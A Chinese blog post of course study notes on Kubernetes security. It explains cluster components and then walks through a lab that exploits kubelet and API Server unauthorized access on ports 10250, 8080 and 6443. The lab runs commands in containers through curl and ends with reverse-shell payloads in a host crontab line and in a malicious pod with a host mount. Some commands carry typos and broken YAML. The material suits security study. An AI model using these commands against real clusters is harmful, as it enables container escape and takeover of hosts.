完整教程:小迪安全v2023学习笔记(九十七天)—— 云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

前记

  • 今天是学习小迪安全的第九十七天,本节课是K8s安全的第一节课,主要是围绕由于配置错误导致某些组件服务的未授权访问

云上攻防——第九十七天

云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

前置知识

什么是K8s?
  • 参考文章:这一篇 K8S(Kubernetes)我觉得可以了解一下!!! - 木子欢儿 - 博客园

  • 说简单一点,K8s就是一个管理员,能够帮你自动管理很多个标准化的容器,让你的应用程序在任何地方都能够稳定运行

  • 然后它的整体架构如下图所示:
    在这里插入图片描述

  • 这里有很多个专有名称需要解释一下:

    • Master节点:相当于一个总控制台,它负责整个集群的决策和调度,发现和响应集群的事件。一般会运行如下组件服务:

      • etcd:用于持久化存储集群中所有的资源对象,API Server提供了操作 etcd的封装接口API,这些API基本上都是对资源对象的操作和监听资源变化的接口
      • API Server:提供资源对象的操作入口,其他组件都需要通过它提供操作的API来操作资源数据,通过对相关的资源数据“全量查询”+ “变化监听”,可以实时的完成相关的业务功能
      • Controller Manager集群内部管理控制中心,主要是实现 Kubernetes集群的故障检测和恢复的自动化工作。比如Pod的复制和移除,Endpoints对象的创建和更新,Node的发现、管理和状态监控等等都是由 Controller Manager完成
      • Scheduler调度器,负责Pod在集群节点中的调度分配
    • Node节点:分布出去的工作节点,它负责真正的运行Pod,当某个Node节点出现问题而导致宕机时,Master会自动将该节点上的Pod调度到其他节点。一般会运行如下组件服务:

      • kubelet用于执行K8S的命令,也是K8S的核心命令,用于执行K8S的相关指令,负责当前Node节点上的Pod的创建、修改、监控、删除等生命周期管理,同时Kubelet定时“上报”本Node的状态信息到API Server里
      • kube-proxy:是一个代理,充当这多主机通信的代理人,前面我们讲过Service实现了跨主机、跨容器之间的网络通信,在技术上就是通过kube-proxy来实现的,service是在逻辑上对Pod进行了分组,底层是通过kube-proxy进行通信的
      • docker / containerd:Pod下面运行的实际容器应用,早期用docker,目前逐渐推荐直接使用containerd来代替
    • Pod:K8s控制的最小单元,一个Pod就是一个进程,上面可以运行单个或者多个容器,通常是完整的应用或模块服务
      在这里插入图片描述

    • Service:每个Pod都是独立的整体,分配单独的IP地址,不同Pod之间不能够直接通信,需要通过Service组件进行连接交流

    • Label:一个说明性的标签,不同的Pod具有不同的功能,需要通过Label进行标注,便于后续筛选和查找

    • Replication Controller:存在于Master节点上,负责对Pod的数量进行监测,如果发现有缺失或者多余的Pod,就会自动复制添加或删除

  • K8s大概就是这么个情况,我们这里只是做简单的了解,对于之后的学习打下基础

K8s安全
  • 参考文章:

  • 这三篇文章主要的攻击点都在如下这张图里面:
    在这里插入图片描述

  • 大致有12个攻击点,主要是集中在内外部访问安全组件安全容器安全管理平台安全以及镜像安全

    • 内外部访问安全
      • 外部:主要是针对一些未授权访问或者对外服务本身存在的安全问题,比如API Server、etcd、kubelet等
      • 内部:主要是内部横向移动攻击安全
    • 组件安全:这里针对的组件包括服务组件以及一些第三方组件的安全问题
    • 容器安全:比如拿到了某个Docker容器或者Pod容器的Shell,可以实行提权、拒绝服务等攻击,也可以尝试容器逃逸到更高层的位置进行下一步攻击
    • 管理平台安全:除了官方推出的Dashboard,还有很多K8s的管理平台,我们可以攻击的点有未授权、弱口令等等
    • 镜像安全:通过上传一些恶意的镜像,让企业去下载利用实现入侵,也成为镜像投毒
  • 小迪这两节课也会围绕这些点去讲解K8s安全的内容

如何判断对方处于K8s?
  • 主要就是看一些K8s的特殊端口是否开放,常见的特征端口如下:
    在这里插入图片描述
K8s环境搭建
NAMEIP配置
k8s-master192.168.0.130>=2G
k8s-node1192.168.0.131>=2核
k8s-node2192.168.0.132>=20G
  • 当然实战中肯定不止一主两从这么小的K8s集群,这里只是举个最简单的情况来演示

云原生 - K8s安全-Kubelet未授权访问

攻击10250端口:kubelet未授权访问
  • Kublet会在10250/TCP开放端口暴露HTTPS API,一般用于汇报节点状态、拉取Pod日志/指标以及在容器中执行命令等,默认情况下有鉴权

  • 但是如果方便其他人查看,可能会设置AlwaysAllow选项,造成未授权访问

  • 比如这里我们没有设置AlwaysAllow选项,然后访问任意一个node节点的10250端口,他会提示Unauthorized,比如这里我们访问node1
    在这里插入图片描述

  • 但如果我们配置了这个选项:

vim /var/lib/kubelet/config.yaml
# 修改为如下配置
authentication:
anonymous:
enabled: true
authorization:
mode: AlwaysAllow
systemctl restart kubelet

在这里插入图片描述

  • 然后我们再访问刚才的页面就会发现,能够获取到很多接口信息:
    在这里插入图片描述

  • 这里我们之前讲过,可以用Postman去导入然后批量测试,比如我们这里可以去获取运行中的Pod列表:

curl -k https://192.168.0.131:10250/runningpods

在这里插入图片描述

  • 拿到它的信息为:
namespace: kube-system
pod: kube-proxy-qxpsl
container: kube-proxy
  • 然后我们尝试在当前容器内执行任意命令:
curl -k -XPOST \
"https://192.168.0.131:10250/run/<namespace>/<pod>/<container>" \
  -d "cmd=id"

在这里插入图片描述

  • 当然这里它是处在Docker容器里面的,我们后续还需要进行容器逃逸,这是上节课的内容了

云原生 - K8s安全-API Server未授权访问

  • 当然,除了Kubelet的错误配置可能会造成未授权之外,API Server的错误配置也可能造成未授权
1. 攻击8080端口:API Server(Master)未授权访问
  • 旧版本的k8s的API Server默认会开启两个端口:8080和6443。6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0为旧版本)
  • 新版本k8s默认已经不开启8080,需要更改相应的配置:
vim /etc/kubernetes/manifests/kube-apiserver.yaml
# 添加如下内容:
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
systemctl restart kubelet

在这里插入图片描述

  • but。。。这里依旧没有成功,是因为新版K8s已经不支持该端口访问了,也就是说,1.16及以上的版本不存在该未授权漏洞了

  • 那其实我们也没有演示的必要了,因为基本是遇不到了,如果真的遇到了,我们这里就简单用小迪的案例看看如何利用吧

  • 在添加完这两行配置之后,我们访问8080端口,就能够获取很多接口:
    在这里插入图片描述

  • 接着就可以利用K8s官方的kubectl工具去获取相应信息,下载地址:安装工具 | Kubernetes

  1. 获取所有主机(nodes)节点:
kubctl.exe -s 192.168.0.139.130:8080 get nodes

在这里插入图片描述

  1. 获取所有容器(pods)节点:
kubectl.exe -s 192.168.139.130:8080 get pods

在这里插入图片描述

  1. 创建新的docker容器:
  • 这里的目的是为了后边的容器逃逸做准备
kubectl -s 192.168.139.130:8080 create -f xiaodi.yaml

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 进入创建的docker容器:
kubectl -s 192.168.139.130:8080 --namespace=default exec -it xiaodi bash

在这里插入图片描述

  1. 容器逃逸获取宿主机Shell
# 把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab
  • 等待一会就会收到反弹,但是收到的反弹shell不是master控制端的shell,而是下面的某个node(主机)节点的shell
    在这里插入图片描述
2. 攻击6443端口:API Server(Master)未授权访问
  • 目前能遇到的是这种,原本6443端口是需要认证才能访问的,直接访问会返回403:
    在这里插入图片描述

  • 但是一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

在这里插入图片描述

  • 此时再访问6443端口,会发现我们能够获取大量的API接口:
    在这里插入图片描述

  • 然后我们就可以干坏事了,首先通过如下命令确定是否可匿名调用:

curl -k https://<目标>:6443/api

在这里插入图片描述

  • 返回ok说明很大概率可以匿名调用,然后我们尝试获取所有pods:
    在这里插入图片描述

  • 这里能够返回JSON数据,说明已经完全沦陷,我们接着创建恶意的容器:

curl -k -X POST https://192.168.0.130:6443/api/v1/namespaces/default/pods \
-H "Content-Type: application/yaml" \
-d 'apiVersion: v1
kind: Pod
metadata:
name: hack2
spec:
containers:
- image: ubuntu:22.04
name: hack
command: ["/bin/bash","-c"]
args: ["bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1"]
  volumeMounts:
  - name: host
  mountPath: /host
  volumes:
  - name: host
  hostPath:
  path: /
  type: Directory'

在这里插入图片描述

  • 回显如上内容,或者回显201都说明创建pods成功,接下来我们监听4444端口,等待pod被创建接收反弹Shell:
    在这里插入图片描述

  • 这里接收到的是node2的shell,因为我们的pod被挂载到了node2下:
    在这里插入图片描述

posted @ 2025-11-09 07:27  ycfenxi  阅读(55)  评论(0)    收藏  举报